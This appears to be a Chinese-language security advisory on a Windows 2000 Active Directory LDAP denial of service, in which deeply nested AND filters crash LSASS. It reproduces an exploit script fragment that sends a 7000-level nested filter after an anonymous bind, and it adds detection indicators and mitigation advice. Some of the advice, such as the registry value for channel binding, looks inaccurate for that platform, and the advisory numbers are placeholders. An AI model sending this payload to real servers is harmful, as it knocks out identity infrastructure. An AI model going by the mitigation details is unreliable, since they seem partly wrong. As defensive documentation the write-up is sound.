| 項目 | 說明 |
|---|---|
| 影響產品 | Windows 2000 Active Directory (LDAP 服務) |
| 漏洞類型 | 堆疊緩衝區溢位 / 服務拒絕 (DoS) |
| 攻擊向量 | 遠端、無需認證 (匿名 LDAP 繫結) |
| 影響進程 | LSASS.EXE (Local Security Authority Subsystem Service) |
| 觸發條件 | LDAP Search Request 含超過 1000 個巢狀 "AND" 篩選條件 |
| 後果 | LSASS 崩潰 → 系統 30 秒倒數重啟 → 服務中斷 |
| 發現單位 | CORE Security Technologies |
LDAPv3 定義搜尋篩選器可使用邏輯運算子巢狀:
Filter ::= (and Filter Filter*) | (or Filter Filter*) | (not Filter) | ...
CORE Security 公開 Python 腳本片段:
class ActiveDirectoryDOS(Ldap):
def generateFilter_RecursiveBinaryOp(self, filter, numTimes):
simpleBinOp = self.generateFilter_BinaryOp(filter)
filterBuffer = simpleBinOp
for cnt in range(0, numTimes):
filterBuffer = self.encapsulateHeader(
self.LDAP_FILTER_AND, filterBuffer + simpleBinOp)
return filterBuffer
def run(self):
# 查詢不存在的電腦物件,避免觸發索引最佳化
filterComputerNotInDir = (LDAP_FILTER_EQUALITY, 'name', 'xaxax')
# 7000 層巢狀 AND
filterBuffer = self.generateFilter_RecursiveBinaryOp(
filterComputerNotInDir, 7000)
self.bindRequest() # 匿名繫結
self.searchRequest(filterBuffer) # 觸發漏洞
# 登錄機碼
HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters
Value: LdapEnforceChannelBinding = 1 (要求簽署/加密)
# 或透過群組原則:網域控制器:拒絕匿名 LDAP 查詢
| 指標 | 來源 | 規則範例 |
|---|---|---|
| LSASS 異常終止 | 系統事件日誌 (Event ID 1000, Application Error) | Faulting application lsass.exe, faulting module ntdsai.dll |
| 異常大型 LDAP 封包 | 網路流量分析 / NetFlow | TCP 389 payload > 10KB, 含重複 AND 結構 |
| DC 非預期重啟 | 系統事件日誌 (Event ID 6008, 1074) | Shutdown reason: 0x80000000 (LSASS crash triggered) |
| 匿名 LDAP 繫結激增 | Directory Service 事件日誌 | Event ID 1000, 1001 (LDAP bind statistics) |
CORE-2003-XXXXMS03-XXXCVE-2003-XXXX (待官方編號)此漏洞凸顯目錄服務作為核心身分基礎設施,其協議實作健壯性直接關繫企業業務連續性。現代 Windows Server (2008+) 已大幅強化 LDAP 解析器防禦,並預設啟用 LDAP 簽署/通道繫結,建議儘速淘汰 Windows 2000 環境。
Windows 2000 20 大超實用操作技巧:開機加速、快捷鍵、拖放技巧與自動化設定
Windows 2000 磁碟碎片整理完整指南:碎片類型、分析時機、執行流程與 MFT/分頁檔案優化
Windows Server 2003 伺服器安全配置實戰:從檔案系統到服務精簡
Windows Server 2008 企業級應用程式集中存取:終端服務新境界
Windows Server 2008 PKI 實戰(一):憑證服務部署與管理
Windows Server 2003 架設 IIS Web 服務器完整指南